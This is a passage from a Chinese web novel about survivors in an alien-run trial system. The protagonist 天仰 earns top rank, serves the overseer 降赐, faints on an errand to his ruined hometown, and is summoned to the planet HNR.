感觉降赐这话很像沈郢他妈妈哄骗他们喝一些稀奇古怪又难喝的汤一样,听起来就很假,跟听医生的话一个道理。 但眼前的人天仰又不好意思拒绝,只得抿了抿嘴,端过碗,准备一口闷的时候他停了停,又抬头确保了一遍降赐的表情看起来很正经,才把碗送到嘴边,抿了一口。 他僵在了原地。 他用他感天动地的意志力艰难地咽了下去,呆滞了十几秒钟才放下碗,遏制住自己有些狰狞的脸,用不易察觉情绪的语气道:“你煮完之后喝过吗?” 降赐似乎没有明白他的意思:“给你煮的我怎么会喝。” 天仰:“......” 他感觉自己快要裂开了。 怎么说呢,这碗药汤,哦不,这碗药水,只是往水里加了许多七七八八很高级的药材而已,只要是高级的便往里面加,根本不知道加了多少药材混合而成的药水,而且还没煮熟!!!只是单纯地混在了一起,压根没有搅拌均匀,这玩意儿根本不能喝的!!!!!! 天仰感觉自己已经裂开了。 降赐似乎终于察觉到天仰的不对劲,奇怪地问道:“不好喝?” 天仰面如死灰地把碗递过去:“你试试就知道了。” 降赐半信半疑地接过,猛地灌了一口,之后整个人僵在了原地,一副被雷劈了的表情。 “怎么样?”天仰幸灾乐祸道。 降赐装做很是淡定的模样把碗默默移开,拿去门口倒了,回来才说道:“这种东西还是不要喝了,珍贵的药喝太多也不好,吃点别的吧。” 天仰顿时松了一口气,立马又想起最后一个线索:“对了对了,我拿到了最后一个漂流瓶,上面就写了一个林字。” “林?” 降赐的表情看起来有些异样:“如果是林的话,我早上在林子里倒是有些线索。” “什么?”天仰惊讶道。 “收拾一下,我带你过去。如果可以,最快今晚这个副本就结束了。”降赐一副大局已定的样子,看了看乱糟糟的帐篷,去角落里扒出了一套干净的衣服放在天仰的旁边,便出去等他了。 天仰这才发现自己身上还是被海水浸泡的湿湿的样子,只不过身上多了一条毛毯,才猛地感觉到冷意,连忙把湿透的衣服脱下来。 降赐在帐篷外听着里面窸窸窣窣了好一会儿,天仰才出来。 新换上的衣服是一套休闲装,大小尺码刚刚好,天仰不由得很奇怪,但也没有多问,多问太不好意思了。 等到降赐把帐篷收起来之后,两个人前往林子深处,这个时候,太阳即将要落山,天仰不放心便在手上拿了一把火把。 在降赐的带路下,两个人到了一处洞穴。 这个洞和其他的洞不一样,明明现在已经很晚了,洞穴却散发着幽幽的光芒,很是奇特。 天仰凑近才注意到,里面是一些亮闪闪的矿石,之所以晚上洞穴也能发亮,就是因为这些矿石在起作用。 “我记得里面好像有一个巨石,但是当时和线索不太一致我就没浪费时间多看。”降赐指了指深处,继续往里面走。 天仰紧随其后。 终于,在不知走了多久以后,两个人到达了洞穴的最深处。 眼前是一块又矿石组成的巨大石碑,整个石碑亮闪闪的,光彩四溢,显得十分美丽。 天仰却没被这个吸引,四处寻找着线索,却还是一无所获。 这时,降赐把天仰的身体扳过来,面对着石碑。 “遇到问题不要先找线索,先看。”降赐指了指石碑。提示道:“攻击它。” 天仰不甚明白,盯着石碑看了一会儿,终于发现了不同之处,石碑的底处有一个奇怪的形状。 天仰从无限形态盒中变换出自己最趁手的双刃剑,习惯性在空中转了几下,便一剑破开了藏在石碑下的秘密。 顿时白光四溢。 天仰被照得睁不开眼睛,在闭上眼的那一刹那,耳边传来了系统的提示音。 【恭喜幸存者天仰完成实战考验】 【准备传送回幸存者日常生活中心】 【传送开启——】 眼前白光一闪而过,天仰慢慢睁开眼睛,瞬间被人从后面猛地抱住,不受控制地往地上砸了下去。 幸好还有另一个人伸出援手扶了他们一把。 “啊啊啊天仰你终于回来了——” 耳畔是沈郢的鬼哭狼嚎。 天仰下意识地揉了揉耳朵,看向四周。 现在是在幸存者日常生活中心的大厅,回来的人并不多,只有仅仅几个。 天仰默默推开沈郢,对扶他的人说了声谢后,四处寻找了一下,并没有看到降赐和其他的监管者。 可能这层只有他们幸存者吧。 “其他人是还没回来?”天仰问道。 沈郢看起来还是和之前没变化,也没有哪里受伤:“扮演类的都回来了,实战的还有几个没有回来。你也是实战的吧?不然怎么可能那么晚,我就比你早一点点到而已。” “扮演完我就被分到实战了。” “听说能进实战的分数都不会低,这下我们稳了。” “我室友他们回来了吗?” “没呢,估计都进实战了。” ...... 两个人聊了一会儿,天仰便收到来自系统的评级。 【幸存者天仰第二场实战考验评分为S级】 S级??? 天仰心里略略一惊,赶忙问沈郢:“你的实战等级多少?” “不是很高,A级,怎么了?”沈郢前面的扮演分数挺高的,但后面的实战对他一个天赋攻击力不高的人来说还是有点难度的。 听到这个等级,天仰有些诧异,他也没觉得自己的副本有哪里很难,虽然说如果没有降赐自己可能就很难通关。 “不过你还没回来之前系统有通告说,有一场实战考验因难度太高,有幸存者死在里面,所以会有监管者进去提供帮助。估计这场的人分数会高点。” 天仰:“......” 高的不只一点点啊!!! 沈郢察觉天仰的神色有点异样,大概猜到是怎么回事,便把人带去一个人少的小角落,问道:“怎么了?” “我就是那场考验里的......”天仰突然想到白旭这个人,心中的奇怪愈发强烈,便跟沈郢讨论起这个问题。 “白旭是队里的一个人啊。” “他开会经常迟到,比我到得还晚。” “不是吧,这副本还能死人???” 沈郢听天仰描述完愈发感到惊奇,没想到天仰居然是从那个危险考验里面出来的,简直了…… “不过这倒不是事,反正已经从里面出来了……”天仰倒是对这个副本反应不大,只是联想到白旭,就觉得心里不太对。 死在考验里的幸存者就是白旭了吧……回来被副本BOSS附身…… 真不容易……难得生存考验通过了,却死在了实战考验里…… 不过天仰唏嘘了一会儿便冷静了下来,毕竟这也不是他的事。 天仰和沈郢在原地互相交流了一下对方的两个考验后,三个室友还是没有回来,他们便先回宿舍休息了。 刚到宿舍。 系统就发来消息。 【所有幸存者注意,分级考试排名于第二天公布】 27. 幸存者事宜 明天就公布排名了,希望他和沈郢的排名不要相差太远。 不过照他俩的实力来看,应该不会太低。 天仰心想着。 大概在宿舍忙活了一会,洗完澡,喂完猫,吃完零食,便有人给他发消息。 天仰坐在沙发上撸着猫,不知为何最近自己染上了吃零食的习惯,还特别上瘾。他慢慢点开消息,划开界面。 有三个人给他发了消息。 桦烙,林知秋,臻耀。 他们三个回来了。 林知秋作为队里的潜力股宣布回宿舍调整一下状态再来和他们几个人开会,讨论一下接下来的事情。 另外两个人也说要回去调整一下再来找他。 天仰对此没有太大反应,正好他也想知道一下他们的等级,好来计算一下他的排名。就和摸底考试一样,稍微估算一下。 于是天仰百无聊赖地歪在沙发上撸猫,在等候的同时,突然回想起帮助过自己的某个监管者,觉得有必要问候一下对方,毕竟他能活着从副本里出来很大一部分原因都归功于那位监管者。 这般想着,他随手便给那位监管者发了个消息过去。 发完后,门铃便响了。 天仰起身正打算去开门,一条消息很快地回复了过来。 是降赐发来的一句,不谢。 天仰微微一怔,对方这回消息的速度堪比沈郢啊。 打开门,外面的三人便鱼贯而入。好久没有聚在一起的寝室四人凑在301的宿舍里,每个人都带着不同的想法。 怎么说,他们寝室的存活率是其他寝室的好几倍了。 林知秋一坐下,感慨了一番后,马上开启了话闸子。 臻耀哭笑不得,不经打趣道:“怎么经过这个生存考验之后你和桦烙的性子都对调了,天仰看起来还是那么闷骚,不过和别人相处看起来好多了。” 桦烙还是一样的话少,这回他和臻耀分到了同一个扮演类考验,前期臻耀还是关照了他不少,不过后期还是靠桦烙帮两人完成了任务。 四人互相了解了之后,发现他们都没有在同一个实战型考验里,扮演型考验除了臻耀和桦烙,其他人也没有在一起过。 “那你们的等级呢?”天仰问出了他最想知道的一个问题。 林知秋:“B++,A-。” 臻耀:“B,A-。” 桦烙:“A-,B+。” 天仰若有所思,心里开始盘算起他和沈郢排名在附近的可能性。 林知秋听完他们的等级,见天仰一副陷入沉思的模样,以为对方是因为考验太难了等级太低了,便安慰他说:“没事,听说能进入实战的最后排名都不会低,很多人连实战都没进去呢……” 天仰莫名其妙地看了林知秋一眼,不明白他说这话的意义在那,脱口道:“A,S。” 林知秋顿时一副石化的模样,感觉自己的耳朵出了问题,有些不可置信地看着天仰,感觉对方在唬他。 “没毛病,A,S,天仰的天赋那么高,这等级值了哈哈哈……”臻耀不明白林知秋石化的意义是什么,只觉得这等级很适合天仰,发自内心地替他高兴。 这样算起来,他和沈郢多少能连上号吧。 天仰登时放心了不少,愉快地看着他们三个:“明天就出排名了,回去以后东西收一收,换宿舍方便。” 寝室三人心照不宣地互相看了一眼,心里都觉得这第一肯定是天仰,毕竟除了他,谁还会拿到S级呢? 等到了第二天,天仰一觉醒来,已经是中午十二点多了。 好几天不能好好睡觉,还得四处找东西,被海水淹的疲惫被冲淡了不少,便心情很好地起了床,洗漱完毕后准备去幸存者日常生活中心的大厅等待通知。 等他到的时候,大厅里已经聚集了很多人,连沈郢也到了,安心地靠在角落的墙壁上,手里拿着个面包正在啃。 看到天仰冲对方招招手。 天仰不意外地朝他走过去,跟他站在角落里等待。 系统的结果很快就出来了。 幸存者日常生活中心大厅里也来了五位监管者,看起来就是降赐所说的监管者依次带队的形式了。 天仰的注意力并没有完全在这上面,直到系统通知下来,大厅里才突然出现了一个显示屏一样的东西,投放着所有人的排名和两场的等级。 【第一名,幸存者编号001天仰,A,S】 【第二名,幸存者编号002沈郢,A+,A-】 【第三名,幸存者编号003林知秋,B++,A-】 【第四名,幸存者编号004桦烙,A-,B+】 【第五名,幸存者编号005臻耀,B,A-】 【第六名,幸存者编号006……,B,B-】 …… 后面的等级越来越低,甚至还有十几个连实战都没进去的人。 可见天仰这一个S级有多么的耀眼。 天仰也没想到第一次分级考验自己的排名还能达到第一,不由得吃了一惊,不过更高兴的是,沈郢的排名跟他挨着,这样他们宿舍以后就是连着了,方便窜宿舍为。 沈郢也因此很高兴,他在考验中灵活运用自己的天赋,解开了很多线索,才把分数不断往上拉,不然光靠自己那几个占卜术,在实战里一点优势也没有。 只能走一步,算一步。 真正正正把占卜术做到活灵活用。 林知秋他们几个心里倒是早已认同天仰是这个考验的第一名,所以没有太多惊讶,倒是看到他们几个人名次几乎挨在一起,顿时觉得还不错。 每个人议论纷纷,情绪都很激动,尤其是大多数人看到那个金灿灿的S,都对天仰投去了仰慕之情。 可惜对方正在和挚友讲话,没有注意到这些视线。 这时,监管者002手里拿着话筒,轻咳了几声,把视线都转移到自己身上来。 “大家好,相信大家不会陌生我,我是监管者002,现在来通知各位一些事情,请各位认真听哦~” 幸存者的讨论声顿时安静了下来,注意力全部都放到了这位监管者的身上。 身为一个成熟的幸存者,他们早已不会像之前的人那样去反抗监管者,反而是在对方没有动手之前,自己都保持着绝对安静。 正是因为知道自己的生命来之不易,所以才更加珍惜。 002很满意地看着现场十分安静的样子,拿着话筒继续讲:“首先呢,很高兴各位幸存者通过分级考验,所有的排名和等级都是各位幸存者在考验中的所做所得,不会有任何的疏漏。” “其次呢,大家通过了分级考验,也拿到了自己最终的编号。不过由于考验中的一些事故,幸存者里牺牲了一位,幸存者人数变为17。接下来,就是给大家分教官的环节。” “编号001到003,由监管者001带队。” “编号004到006,由监管者002带队。” “编号007到010,由监管者003带队。” …… 002念得有些累,等全部编号念完之后,停下来稍作休息,给大家一个缓和的时间。 停顿了大概一分钟,002继续道:“以上就是所有幸存者的教官,请各位认准自己的教官。” “接下来宣布幸存者事宜,所有的幸存者由监管者带队,幸存者接受监管者的任务,完成之后将拿到一定奖励。” “所以接下来各位幸存者要积极的完成任务,很多任务有概率可以到学校外面的世界去完成,到了外面可以见到你们的家人朋友。当然你们也别想着要逃跑,毕竟外面还正在进行生存考验,你们出去只是为了帮助外面执行考验而已,等任务结束你们还是得回来的。” …… 002的话很多。 等他说完之后,在场人的血液突然凝固了。 总结成几句话,大概就是幸存者要接受监管者给的任务,这些任务有一定几率可以去外面执行,可以见到自己的家人。 天仰听完这一大段话之后,有点沉默,担忧的看了一眼站在自己旁边的沈郢。 果然对方的情绪现在不是很好。 天仰轻轻拍了拍对方的肩。 沈郢一脸憋屈的模样,看起来就像是要哭出来了一样,默默地把脑袋靠到了天仰的肩膀上,轻轻地抽泣着。 天仰轻叹了一口气,把自己的肩膀借给了他。 他不知道说什么来打破这个情绪。 毕竟他在学校外面已经没有别的什么亲人了,关系比较好的也只有沈郢的家人。 说担心,还是有一点的。 毕竟外面也在进行着生存考验,连他们学校里都损失了那么多人,最后活下来的也只有仅仅十几个人,那么外面不就更惨了? 天仰看向了他宿舍的几个人,没有一个人的脸色是好的。 002结束讲话之后。 所有人都带着压抑的氛围回到了自己新的宿舍。 任务将在三天后开放。 天仰有些疲累的瘫倒在床上。 奶糖见到自家主人回来了,难得主动的去蹭了蹭他。反被天仰一手抱进了怀里,拿去当抱枕。 任务这种东西…… 对他来说有什么用呢…… 这场灾难如果真的是无止尽的,那活下来的他们该怎么办呢…… 001的专属下属 “从今天起,你跟在我身边,替我完成任务。” 降赐一脸慵懒地靠在会议室的椅子上,这会儿只有他们两个人,他也不怎么在意形象。 天仰:“???” 他不过就是来领个任务的,怎么就成了001的专属下属??? 降赐对此没有太大兴趣,反正幸存者不就跟那些见习监察生一样,随便拿来使唤的。反正他对任务和带队也没什么兴趣,就干脆只留一个幸存者001供他差遣,其余的两个全部交给002了。 天仰刚知道这回事,才知道教官还能随随便便换,002也没有在意,很随便地让幸存者002和003加入,好像已经习以为常了。 这些天,天仰几乎一直往降赐专属的办公室跑,接完任务,权限开通之后他便毫无忌惮地出了学校,四处跑任务。 虽然一般给监管者001的任务不会太难,但过于的繁琐。001早就不想做这些任务,刚好收了几个下属,就让天仰专门去处理他的任务,他便养尊处优地待在宿舍休息。 不过一般而言,幸存者接任务是不能那么快出校门的,而天仰这天天出校门的频率都赶上监管者了,让很多幸存者分外眼红。 这天,沈郢找到天仰,知道他任务基本上都要出校,便让他帮忙去自己家看看。 天仰不忍心学校外面已经变得分崩离析,只能硬着头皮答应下来。 刚好这几天他接了一个长达两天的任务可以在外面,刚好帮沈郢回家一趟。 沈郢感动得不行,他现在这个阶段还在接002给的校内低级任务,什么跑腿整理校园什么的,根本没有出去的必要。 这天,天仰刚跟降赐开通了两天的外出权限,便收拾了一书包日常用品出校门。 面对眼前惨绝人寰的景象,天仰已经麻木了,径直离开。 外面的监察生知道他是监管者001的下属也不敢拦他,甚至有人讨好地送了一辆交通工具,也被天仰委婉拒绝了。 毕竟他不会开车。 天仰选择步行回一趟家,他的家在另外一个市,好在降赐也不是什么很抠门的人,临走前送了一块悬浮滑板给他,当作交通工具。 天赋在线的天仰轻而易举地就驾驭了悬浮滑板,轻松地行驶在路上。 S市。 天仰推开满是灰尘的门,门没有上锁,房间里满是乱七八糟的脚印。他四处看了看,确定家里没有少了什么后,来到自己的房间,找出隐藏在柜子最深处的一张照片,兜进自己的包里。 四处溜了一圈,便兴致缺缺地把自家门给掩上了。 反正也没什么好偷的。 关上门后,他来到隔壁沈郢家,隔壁也是一片灰尘,很难想象这里究竟发生了什么。 天仰大概猜测到了。 他家常年没有人居住,布满灰尘很正常。但沈郢家不一样,叔叔阿姨都是在附近工作,下班了就回家,不会没有一点生活痕迹。而且,他家还有外婆,一个老人家腿脚不方便也不可能长时间出门。 所以没在家多半是…… “唉……” 天仰不知道该说什么好,但就这么回去沈郢估计要哭了吧,于是他便拍了几张照片,在小区里溜了溜,看到了一处很像他们学校进行生存考验的篮球场,四周弥漫着一股凄凉的感觉。 这里毕竟是天仰生活了大半辈子的地方,看多了多少也会有点难过,虽然这里的人并没有跟他有多少交集,但他就是想念曾经的那份熟悉感。 而不是像现在这样,对未来全是迷茫。 连之后要做什么都不知道。 天仰没有感慨太久,毕竟他还有任务在身,很快到达了当地负责生存考验的监管者住所。 双方签署了文件之后,天仰不经意的问了一下这位监管者:“这里的生存考验进行的怎么样?” 对方的表情看起来也是很惨淡,指了指外面:“你也看得出来吧,根本没多少人,不然我们也不至于监管者当班了。” 天仰点了点头,便离开了。 他的心里一直压抑着什么,就好像是有什么东西被遗忘在记忆深处。如今被这残忍的世界所剖开,心里隐隐作痛。 就好像胸口的伤疤也在痛。 天仰突然想到什么似的,诧异地扯开衣领。 果不其然,胸口的伤疤散发着暗淡的色泽,有些一闪一闪的。 天仰刚想做点什么,胸前火辣辣地疼起来,就猛地失去了意识。 监管者宿舍。 降赐昏昏欲睡地坐在沙发上,这日子过得有些无趣,他现在的任务都被天仰接去做了,每天都是睡醒了继续睡,很闲。 这时,他突然接到了来自另一个市的监管者的联络。 “您好,是001阁下吗?我是S市的033,您的下属晕倒了,请问您有没有时间过来接一下……” 降赐猛地睁开了眼。 对方继续不好意思道:“我这里没有多余的下属将您的人送回去……” “我马上到。”降赐关闭联络。 033一脸懵逼地退出联络,看向了躺在床上的黑发少年,没想到传说中的监管者001答应得那么利索。 回过头来看着自己简陋的住所,开始纠结要不要整理好一点,毕竟是那位大人要来。 约莫一刻钟后,033刚打扫完了自己的住所,收拾得体面些,还不忘摆上一盘果盘。 不得不说这战乱的地球食物实在太少了,早知道来的是地球,就应该多备点存货来了。 这般想着,003打开门,头一回见到001大人,不禁有些慌乱,想了很久的开场白也实在说不出口,于是笑着把人迎进来:“001大人,里面请,那个人类在里面。” 降赐一句话也没说,礼貌性地点点头,便先一步跨进去,目光搜寻了一阵,走向一个没关的门,进去以后便看到了他的黑发少年躺在那里。 他目光一紧,连忙走上前去探查,确认对方并没有什么大事之后才安下心来。 033站在外室哪里敢进去,只能一直纠结自己还差些什么没有准备。 降赐在里面看了一会儿陷入昏迷的少年,从身上取出一个小瓶子,倒了一颗金色的小药物出来,塞进了天仰的嘴里。 应该过会儿就能醒了吧。 降赐这样想着。 之前在分级考验的实战中,他一直觉得天仰的身体太过羸弱,所以才容易被那个怪物吸□□气。于是这段时间他才一直让对方跑任务,四处活动一下筋骨。现在看来,恐怕还是和他个人有关。 降赐静静地站在原地,等待天仰苏醒。 本来过几天还想带着他回一趟HNR星,刚好要回去交接一个任务,可惜他这身子骨……要不是担心川珩那家伙有什么其他的想法,不然把他丢给川珩调养一下身子还是可以的。 这时,天仰猛地睁开眼睛坐了起来,摁住胸口大口大口的喘气,额头不知什么时候沾满了汗水,看起来有几分憔悴。 “醒了?” 一个相当熟悉的男声传了过来,天仰下意识地看向站在床边的降赐,微微一愣。 他怎么在这? “说说你是怎么了?” 降赐本想好好说话,可话一从嘴边出来就变了样子。 天仰也不是很明了自己的情况,只能摇摇头,什么话也说不出。 两人沉默了一会了。 降赐从便携环中取出一套崭新的衣服,丢给天仰:“回去以后到川珩那里做个检查。” 说完人便出去了。 天仰看着床上的衣服沉默了一会儿,伸手在胸前抚了抚,确定疤痕没有再痛以后才换起了衣服。 外室。 033颤颤巍巍地和监管者001共处一室,虽然说他也是监管者,但远没有001那样的气场,更何况编号那么靠后,他连自由返回HNR星的自由都没有,更别提几日之后的星球大战,连观摩都没法参加。 好不容易等到天仰出来,033的眼泪简直要掉下来,一副看天仰是救命恩人的模样,感动得要死。 天仰可不知道033心里的想法,他上前发自内心的感谢了这位监管者,要不是他把他救了回来,还喊来了001,他都不知道他能多久醒。 033当然不在意这点小事,千谢万谢地把监管者001这个可怕的人送走,终于放下了心。 简直不要紧张死。 —— 另一边。 天仰和降赐吹着冷风,走着夜路,两人相对无话。 天仰觉得对方也是来救自己的,不说一声谢谢实在过意不去,便先开了头:“谢谢你来救我。” “嗯。” 就因为降赐这一声随随便便的嗯,天仰原地尬了好久。 “我们就这样走回去吗?” “来得太急,传送仪忘了充电。”后面的路还是靠他自己走过来的…… “……我的滑板还有电……你还有没有……” “没有。” “……” 天仰突然感受到了欲哭无泪的感觉。 所以真的真的要走回去吗?隔着一个市呢。 “传送仪是太阳能的,明早出太阳了就能用了。” “哦……”谢谢啊真的对你不抱有希望了。 说什么没电了,明明是没做任务,懒到忘了充电吧。 “对了,过几天我要回一趟HNR星做个任务。” “哦……” “你去找川珩做完检查完这几天就在宿舍休息,如果要出去权限这几天都是开着的,你可以跟你的朋友去做做任务什么的。” “哦……” 究竟发生了什么事 晨光洒落在这片荒凉的土地上,愈发显得周围十分贫瘠,很难想象这种地方原先住着人。 天仰半梦半醒地睁开眼,降赐站在他面前背对着他,他盯着他的背影有些出神。 一晚上没合眼这人的精力像是无休无止境一样…… 天仰揉了揉咯了一晚上酸痛的胳膊,慢慢伸了个懒腰。 “醒了?”降赐回头看了天仰一眼,手里依旧在摆弄传送仪。 “嗯。”天仰凑过去看。 降赐摆弄了一会儿,传送仪慢慢地亮了起来,白色的光芒照在两人的身上,散发出柔和的光。 一闭一睁。 两人便回到了航母上。 一楼大厅,降赐刚被传送回来,就被一个监管者叫住了,看样子是有什么急事的样子,但碍于人多眼杂一直没有说,样子十分着急。 天仰明事理,准备回去,降赐及时叫住他:“先去诊疗室做检查,一会儿我让川珩过去,他给你做。这几天你要是想出去外面,权限我都给你开完了,随便出去就行了。” “好。”天仰对这些特权并不在意,他现在只想回去好好休息一下。 降赐看上去还有什么话想说,但旁边站着个着急的人,只能生生把话咽下去,留下一句:“等我回来。” 趁着降赐走了,天仰赶紧溜回宿舍,免得又因为什么事情要到处跑腿。 他现在只想休息和撸猫。 好几天没和自家的猫亲热,奶糖都变得不太爱理人,反倒是时不时来喂食的沈郢,奶糖相当黏他。 这会儿天仰刚打开宿舍的门,就看到沈郢作为半吊子的铲屎官在猫砂盆那里铲屎,奶糖锲而不舍地围在沈郢的脚边磨蹭,沈郢很无语的一直想把猫推开。 “让开让开,等会儿天仰回来又要以为是我抢走你的爱……” “喵喵喵……” 肉眼可见奶糖对沈郢的话并不上心,只是出于某些原因喜欢黏着他而已。 天仰看到这一幕,叹了口气,重重关上门。 沈郢看到天仰宛如看到了救星:“啊啊啊天仰你终于回来了,我快被你这猫逼疯了……” 天仰:“……” 天仰趁着奶糖缠着沈郢的裤脚不放,一把抱起奶糖丢到了卧室去,随带关上了门。 “呼——” 沈郢松了一口气,去洗了个手,坐在沙发上休息。 而天仰已经把桌上摆满了汽水零食什么的一堆东西。 沈郢默默汗颜,他之前是不是意外解开了天仰的某种属性……导致他现在变成了这个样子,不过现在这个样子是挺接地气的…… 天仰随手撕开一包薯片,不停地往嘴里吃着,心里想着怎么跟沈郢开口S市的事情,毕竟这关乎到整个人家里,一个说不好给人打击的老大了,虽然事实已经摆在那里了。 好在沈郢也没有提到这个问题:“回来了就别乱吃零食,去餐厅吃饭啊,你身体那么差还老不吃正餐。我这几天很忙,监管者不知道回去参加什么任务,把一堆事留下来让我们解决……” “……”天仰默默听着嚼薯片。 “好了好了我走了,餐厅的炖品记得喝点。”沈郢匆匆顺走桌上的零食后离开了。 天仰叼着一片薯片前去把奶糖放出来。 奶糖唰地一下跑出来,绕了一圈,沈郢早就不在了,它只好去角落里舔毛也不愿意亲近天仰。 天仰一脸麻木地啃着薯片,还打开了一瓶汽水。 这时,系统突然推了一条消息过来,紧接着,又来了一条。 天仰先打开看了第一条。 降赐:休息好后可以去诊疗室做检查。 另一条。 川珩:现在在诊疗室,可以过来了。 天仰:“……” 其实他并不是很想做检查,万一研究出了什么奇怪的东西,被抓去做实验……更何况他的身上…… 天仰想是这样想,但还是经不住川珩一分钟发来三条消息。 他的拳头不经硬了,大不了非要检查那里的话他死活不要就行了…… 这人简直是太烦人了…… 天仰收拾好自己之后,慢吞吞地到了诊疗室,推开那扇门。 里面只有一个冰蓝色长发的川珩在。 川珩眯了眯眼,背还靠在椅背上,没有要动的意思,指了指没有任何仪器的病床,声线微冷:“躺上去。” 不知为何,天仰觉得这样他有点紧张,但还是没有反驳对方,径直躺了上去。 毕竟多做无用功会让别人多加怀疑,倒不如什么也不做,顺其自然。 川珩没有多加解释什么,揉了揉手指,一道青色的光芒浮现在手上。 天仰不由得瞪大了双眼,静静的看着眼前的这一幕,虽然不是第一次看,但还是很震惊。 川珩可没有那么多话可说,他抬抬手,一道绚丽的青色光芒笼罩在了天仰的身上。 不知为什么,天仰感觉川珩很疲惫,对方什么都没有说,但是从他的身体上来看,确实有这样的感觉。 天仰只感觉到身上一暖,那光芒便消散过去。 “好了。” 川珩拍了拍手,看起来有些软趴趴的,靠在椅子上,一副昏昏欲睡的模样,可那个气场却让人无法靠近。 天仰惊讶道:“这么快就完了?” 没有别的什么要说的了吗? 川珩听她他说这话才反应过来,自己漏说了什么,于是他看似敷衍地说道:“你的身体没有太大的问题,就是身子骨虚了些,好好调养就行了。” “噢……” 天仰一副懵懵懂懂的样子,谢过川珩之后抬脚就准备离开。 “等等。” 川珩看上去极度疲惫,用手摁了摁头,才道:“这几天不太安全,你不要乱跑。没事呆在宿舍。” 虽然不知道这话是什么意思,但天仰还是答应了下来。 隔了几天。 天仰天天腻在宿舍里,除了沈郢偶尔过来给猫铲铲屎,喂喂粮,就没有接触到其他人了。 有点消息也没有人给他发。 他无所事事的呆在宿舍里休息,家里的零食吃完了才出宿舍一趟,采购一番才回来。 其余时间都没有出去过。 只有中途有过一次陪沈郢出去做了一次任务,就再也没有出去了。 这样的日子十分散漫,虽然非常休闲,但是莫名的有些累。 好几天没有看到他了…… 不知道是什么任务能做这么久…… 天仰懒散的躺在床上。 说起来这几天基地里的监管者一个都没有看见,似乎都一起回到了那个什么星球去。 真奇怪,究竟发生了什么事? 竟然连002都不在。 天仰从床上默默爬起来,顺手撸了一把,躺在床上的奶糖。 这几天由于他长时间沉浸在家里,所以跟奶糖的关系也有所缓和,至少奶糖不会看见他就跑。 “哈——” 天仰打了个哈欠。 这几天即将入秋,虽然这只是一个创造出来的空间,但是时间也随着外面而变动着,已经隐隐变得冷起来了。 天仰拿过椅子上的外套,准备去外面走动走动。 他已经从昨晚12点睡到了今天下午三点多了。 不出去走走实在不行。 “嘶——” 刚出宿舍门天仰就被冷到了,明明刚是入秋,天气就变得这么冷。 三楼的幸存者日常生活中心空荡荡的没什么人。 天仰走到了诊疗室,发现川珩也不在里面。 他从楼梯走上二楼,监管者的宿舍区域也空荡荡的,一个监管者都没有看见。 继续往上走,到了一楼。 还是没有监管者,但有几个监察生在这里吵吵闹闹的。 “哎,听说神渚医师竟然也回去了……” “奇怪,他不是监察者怎么也回去了?” “人家那实力可是排在星球里的NO.2,怎么能跟正常监管者相提并论?” “唉也是,神渚家个个都是精英。” “就是,而且这个家族事儿真的很多……” …… 天仰穿梭在这先监察生当中,一字不漏的把所有人的谈话都听了进去。 到底是发生了什么? 这时一楼的大厅突然出现了一道光屏,一个身着军服的上了年纪的男人,出现在了光屏身上。 “各位监察生,现在进行一条通知,这里是HNR基地,由于监管者内部发生了很严重的情况,现在由我代理监管者向所有监察生通知事务。” 周围的监察生纷纷惊奇。 “唉唉唉这不是葛老大长官吗……” “什么事能把这位大长官给招来……” “有生之年第一次见到葛老大长官,这心情真是神奇……” …… 天仰可不知道监察生嘴里的这个人是谁,但此时此刻他的眼皮狂跳,总感觉有什么事情要发生。 果不其然,这位大长官的下一句话就是:“在场有谁是监管者001的下属?” “001正在进行其他任务,有很多不方便通知的事情,需要他的下属进行交接。” 这一番话把所有监察生都炸开。 谁不知道监管者001的实力? 虽然不知道大长官这句话是什么意思?但凭直觉001应该是出事了,不然怎么也不会轮到他的下属来交接任务。 天仰的心不经提起来。 如果说下属的话,他倒是一个。 可,他还有别的下属吗? 传说中的HNR星 周围的监察生纷纷讨论起来。 “001不是从来没有下属吗?” “对啊,001从来都是把事物交给002去办的,如果说是下属的话,002可能是吧……” “他们不是同事关系而已吗……” …… 周围嘈杂的言论深深刺激着天仰的心,让他不由得想起,一个人在宿舍里孤独寂寞没人陪玩解闷,导致一大批道具忘了充电,临走前还特地寄到他的宿舍,拜托他充电的某人。 不过现在看来情况确实有些危急,没时间让他打趣儿。 天仰原地停顿了一下,似乎没有监察生在意他是个人类。 而且这么久了也没有人站出来。 那就说明001除了他以外,就没有别的下属。 确认真的没有人站出来之后,他默默的往前那一步,靠近了些光屏,道:“你好,我是监管者001的下属。” 葛老大长官没想到在地球上真的能找到人,毕竟自从001出事以后,一堆关于他的任务都堆积在那里,他在HNR星找了很多人,都没有找到001的任何一个下属。 不过听说001有关于地球上的任务,就想着来碰碰运气,能不能找到他的一个下属。 虽然听说002可能是他的下属,但毕竟002也是个监管者,在星球上也有其他任务在身,没时间第一时间抽空过来。 更何况双方都有很危急的任务,对方怎么说也是个排名第二的监管者,不能随随便便叫过来。 这样想来,葛老大长官看天仰的眼神满意多了,虽然不知道他是谁。 “好孩子。”葛老大长官兴奋的声音差点变掉了,猛地咳嗽一声,赶紧安排下属:“快快快,把这个孩子给我传到HNR星来,我现在就要见到他。” 周围的监察生听到阁老的要求,马上去执行,立刻联络了最高权限的监察生,亲自把他送了过去。 天仰一脸懵逼,什么都还来不及准备,就连回宿舍拿个东西都没有办法,更别说给沈郢留个口信也不能。 紧要关头,谁能听得下他一个地球人的话? 最高权限的监察生马上安排了一间太空舱,与HNR星的执行官信息对接了一番,确认无误后,火急火燎的把人传送了过去。 天仰满脸懵逼的在太空舱中晕了过去。 醒来就已经到了传说中的HNR星。 瓦特??? 这怎么就到了? 我答应了吗?我同意了吗? 我不就是站起来了一下,怎么就过来了? ??! 天仰十分惆怅的坐在太空里,面对着外面十分陌生的环境和高端的器材,感觉自己的认知又被刷新了一遍。 他自己一个人实在无法推开这个太空舱出来,只能等着外面有哪个好心人能把它打开。 就这样在里面坐了不知道多久,在天仰即将要睡着的时候,外面终于传来响声。 “哟,终于醒了。” 一头冰蓝色如瀑布般的头发垂在身上的男人好整以暇的站在太空舱旁边,静静的看着他,手上拿着一个写字板似乎在记录着什么。 天仰:“???” 川珩?? 果然川珩也回到HNR星了。 川珩见天仰终于醒了,单手就把太空舱门打开,把里面的人放出来。 他看上去很是疲倦,好看的眼睛下面全是黑眼圈,脸色也一如既往的苍白,好像好几天没有睡一样。 天仰不知道该对这位医生说什么。 毕竟他们之间只见过几次,并没有长时间相处。 “没想到你也会来这里,本来应该是他带你来的,可现在出了一些状况,不得不处理,所以这里会有些危险。” 川珩用手用力的摁了摁太阳穴,似乎像是为了要保持清醒一样。 “听说是葛老让你来的。” “对。” 